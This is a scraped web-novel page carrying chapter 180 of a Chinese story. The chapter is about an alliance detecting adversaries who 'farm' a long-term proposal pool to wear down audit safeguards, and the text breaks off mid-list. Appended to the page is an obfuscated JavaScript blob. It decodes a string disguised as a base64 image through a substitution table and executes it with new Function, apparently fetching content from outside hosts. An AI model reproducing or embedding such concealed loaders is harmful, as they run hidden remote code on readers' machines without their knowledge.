首页
[切换至繁体版]
返回

第180章 基线绑架

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    第180章基线绑架(第1/2页)
    DAY-RPT-11240。
    审计配额与变更预算机制运行第九十三日。
    原语库扩展到第六批,组合事件生成器覆盖率稳定提升。
    长时漂移稳态版剧本(TIME-SAFE-DRIFT-01)在外层基线整体上移的背景下表现良好:过渡区交叉频率被稀释到可控区间,速度缓冲触发概率下降,内层依赖链断续明显减少。
    从外面看,联盟终于学会了一个看似简单却极难的技能:
    **既让未来可审计,也让审计付得起。**
    可江砚知道,敌人从不在你擅长的地方硬撞。
    他们会绕着你的护栏走,找你最信任的那条路。
    机要监在午后递来一份“长期基线池”月度盘点。
    存在性编号:ANL-BASE-01
    标题:**基线池异常:持续性过强、来源过齐**
    沈绫刚端起茶,听见“过齐”两个字,手指微顿。
    江砚抬头:“什么叫过齐?”
    机要监翻开图表:
    基线池里排名前十的提案,来源类别、时间间隔、更新节奏几乎一致——像十株长得一模一样的树,排成一列。
    “长期基线池”是AUDIT-BUDGET-01E的结果:
    当预算不足时,提案会进入基线池,按“持续价值”与“长期需求”排序,等待下一季度预算释放。
    这是联盟为了抵抗审计洪潮而建立的缓冲:
    让洪潮堆在池里,不挤占关键更新;
    让真正有价值的改进在长期基线里慢慢浮上来。
    它的逻辑是对的。
    它相信“长期会筛掉噪声”。
    可现在,基线池出现了“持续性过强、来源过齐”的异常。
    这意味着有人在**养殖长期**。
    江砚放下茶:“他们开始夺走长期。”
    ---
    ###一、长期的漏洞:你奖励持续,我就伪造持续
    注意力护栏抵抗短爆发,语言回执抵抗偷换,价值与指标试验场抵抗口号与计分板,时间护栏抵抗来不及,剧本完整性协议抵抗热补丁,审计配额与预算抵抗洪潮。
    这些护栏有一个共同倾向:
    **它们更信任长期,更警惕短期。**
    敌人也读懂了这一点。
    既然短爆发会被去权重,
    那就不爆发,改成细水长流。
    既然碎片化会被合包与拆包规则压制,
    那就合规合包,固定节奏,像工整的农田。
    既然预算优先级看重“持续价值”,
    那就伪造持续价值——让同一类提案在每个月都出现一次,理由略有不同、措辞略有变化、来源略有分散,恰好躲开“脚本模板”,又能在基线池里累积“持续性”。
    这不是洪潮。
    这是**滴灌**。
    滴灌不会让你窒息。
    滴灌会让你以为这是生态。
    直到某一天,你发现你整个基线池里长满了同一种作物。
    机要监把基线池前十提案的主题抽取出来:
    它们都围绕一个方向——
    >“降低审计门槛、提高变更吞吐、引入更多‘快速形式验证’、扩大原语白名单。”
    听起来像提升效率。
    但江砚一眼看出潜台词:
    扩大白名单,就能把更多动作变成“默认安全”,进而绕开昂贵审计;
    快速形式验证扩大,就能把复杂变更伪装成“组合”,跳过深测;
    审计门槛降低,带宽护栏就被削薄。
    他们不是在夺走预算。
    他们在夺走“下一季度预算会给谁”。
    因为基线池就是下一季度的方向。
    敌人不再抢今天。
    他们开始抢明天。
    存在性编号:BASE-RSK-01
    BASE-RSK-01A:基线池主题集中度异常
    BASE-RSK-01B:持续性滴灌节奏一致性判定
    BASE-RSK-01C:来源分散伪装评估
    沈绫轻声:“这比洪潮更难抓。它像耐心。”
    江砚点头:“耐心是最昂贵的武器。因为你很难指控耐心。”
    ---
    ###二、基线养殖的指纹:规律性过强就是破绽
    机要监给出“基线熵”指标。
    存在性编号:ANL-BASE-02
    ANL-BASE-02A:基线熵(提案出现间隔的随机性)
    ANL-BASE-02B:基线熵与自然需求模型对照
    ANL-BASE-02C:低熵=养殖嫌疑
    自然需求有波动。
    真实长期需求也会因外压、资源、人员变动而起伏。
    但养殖的需求会过于工整:每月一次、每周一次、每次略改措辞、略换署名、但逻辑核心不变。
    基线熵结果显示:
    前十提案的时间间隔接近机械等距,误差在极小区间。
    这不是生态。
    这是工程化种植。
    江砚问:“谁在种?”
    机要监回道:“署名分散,但若看‘协作链触达’,有几处共同的落点:剧本维护协作位的外围建议圈层、旁听技术组的工具评议席、以及一批标记为‘效率倡议’的匿名贡献者。”
    沈绫皱眉:“匿名贡献者?”
    机要监点头:“他们不再靠组织名。他们把自己伪装成生态里的‘好心人’。”
    江砚静静说:“好心人不需要同频。”
    ---
    ###三、敌人的算盘:让你用预算自己削弱护栏
    预算机制本来是护栏。
    护栏一旦成了分配资源的工具,就会天然产生政治——谁都想进基线池前列。
    敌人正要利用这一点:
    他们不必突破守望链,也不必复活开关;
    他们只需让“降低审计门槛、扩大白名单、快速验证”成为长期基线的主流共识。
    等下一季度预算释放,联盟自己就会投入资源去做这些“改进”。
    改进完成,入口成本降低,开关复活条件成熟。
    这是一种更慢、更深的夺权:
    **让你以改进之名,自己把护栏磨薄。**
    江砚对首衡说:“我们守住了今天的开关,他们来偷明天的护栏。”
    首衡问:“怎么守明天?”
    江砚答:“先把长期的真实性也做成护栏。”
    ---
    ###四、基线真实性检验:长期不能只靠时间,还要靠多样性
    江砚提出“基线真实性检验机制”。
    存在性编号:BASE-GUARD-01
    BASE-GUARD-01A:长期基线必须满足“三重独立证据”
    *证据一:来自不同角色层(基层执行/责任簇/外扩旁听至少两类)
    *证据二:来自不同事件背景(外压期/稳态期/漂移期至少两类)
    *证据三:来自不同利益方向(受益方与承担方都认可其必要性)
    BASE-GUARD-01B:基线熵低于阈值则进入“养殖复核”
    BASE-GUARD-01C:同主题提案若持续由相同触达圈层提交,自动降权
    BASE-GUARD-01D:基线池排序引入“来源多样性权重”,抑制工整种植
    BASE-GUARD-01E:公开基线池“多样性热力图”,避免被说黑箱
    这套机制的核心是:
    **长期不是“坚持”,长期是“多样”。**
    真实长期需求会从多个方向反复出现;
    养殖需求会从同一套管道滴灌出现。
    沈绫看完,点头:“这会让他们更难伪装成生态。”
    江砚补了一句:“也会让真正的需求更容易被看见,因为它会自然跨圈层。”
    ---
    ###五、敌人的反击:他们开始“养殖多样性”
    守住长期的第一天,敌人就不会坐等。
    他们的厉害就在于:你加一条规则,他们就把那条规则变成可操控对象。
    BASE-GUARD-01要求三重独立证据。
    于是,基线池里开始出现“看似多样”的支持:基层执行节点、旁听技术组、甚至某些责任簇复盘秘书都出现了同主题支持。
    表面看,多样性上升。
    基线熵也被他们用抖动技巧拉高——不再等距,但仍有隐藏规律。
    机要监很快报出新异常:
    存在性编号:ANL-BASE-03
    ANL-BASE-03A:多样性伪装迹象(来源角色多,但触达路径仍集中)
    ANL-BASE-03B:抖动等距(伪随机)判定
    ANL-BASE-03C:利益方向一致性过高(几乎全是受益方在支持)
    他们在“养殖多样性”。
    沈绫低声:“他们把我们的护栏当题库刷。”
    江砚冷静:“题库可以刷,但答案的代价刷不出来。”
    他盯住ANL-BASE-03C:利益方向一致性过高。
    真实长期需求一定有代价。
    代价会引来承担方的犹豫、质疑、甚至反对。
    如果一个方案只有受益者支持,承担者沉默,那就是问题。
    敌人最难伪造的是:
    让承担者也真心支持削弱护栏。
    因为承担者承担风险。
    ---
    ###六、反向验证:谁来承担削弱审计的后果
    江砚启动“代价对照质询”。
    存在性编号:BASE-QUERY-01
    内容:任何进入基线池前列的提案必须回答三问:
    1)削弱或加速会增加哪类风险?
    2)谁承担这类风险?如何补偿?
    3)若风险发生,是否存在可回滚路径与成本估计?
    这不是道德拷问。
    这是成本审计。
    他把“降低审计门槛、扩大白名单”类提案全体拉进质询流程。
    量衡院、补衡署、迅衡组的影子都曾出现过。
    这次,他们换了匿名与多样伪装,但质询不能匿名。
    回答成本必须落到真实承担者身上。
    结果很快显现:
    很多提案回答含糊,无法给出“操控路径证明不存在”,也无法给出“承担方补偿机制”。
    (本章未完,请点击下一页继续阅读)第180章基线绑架(第2/2页)
    存在性编号:BASE-FIND-01
    结论:基线池前列中有6项提案无法通过代价对照质询,判定为“风险外包型改进”,自动降级。
    降级不是封杀。
    它们仍在池里,但无法成为下一季度方向。
    敌人的滴灌第一次被掐住主根。
    ---
    ###七、真正的外压再次到来:预算储备剧本被迫出场
    就在基线养殖被压制的同一周,外层长时漂移出现新的变化:
    远域低频基线漂移继续上移,外围弧线轨道半径微增,过渡区交叉基线再上移半阶。
    存在性编号:EXT-DRIFT-02
    EXT-DRIFT-02A:漂移上移半阶
    EXT-DRIFT-02B:组合事件生成器预测未来60批次组合频率上升
    EXT-DRIFT-02C:速度缓冲触发概率上升趋势
    这意味着:剧本库需要进一步扩展覆盖;原语库也需要新增两项“疲劳管理”原语(比如分批恢复、渐进式稀释)。
    这些更新很关键,会占用预算。
    可变更预算有上限。
    基线池里还有很多真实改进在排队。
    如果预算不够,真实改进会被推迟,人们会不满。
    不满会被敌人利用,重新鼓吹热补丁或中心化。
    这就是预算护栏的两难:
    你守住预算,可能引发不满;
    你放开预算,可能形成可夺入口。
    江砚早就准备了“预算储备剧本”。
    存在性编号:AUDIT-RES-01
    AUDIT-RES-01A:预算储备池(仅用于外压适配与守望链安全)
    AUDIT-RES-01B:触发条件仅限结构信号(外层漂移上移+组合频率预测超阈值)
    AUDIT-RES-01C:储备预算自动释放到指定类别(原语疲劳管理、漂移剧本扩展、生成器覆盖更新)
    AUDIT-RES-01D:释放后必须生成复盘包与下一季度预算补回计划
    AUDIT-RES-01
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();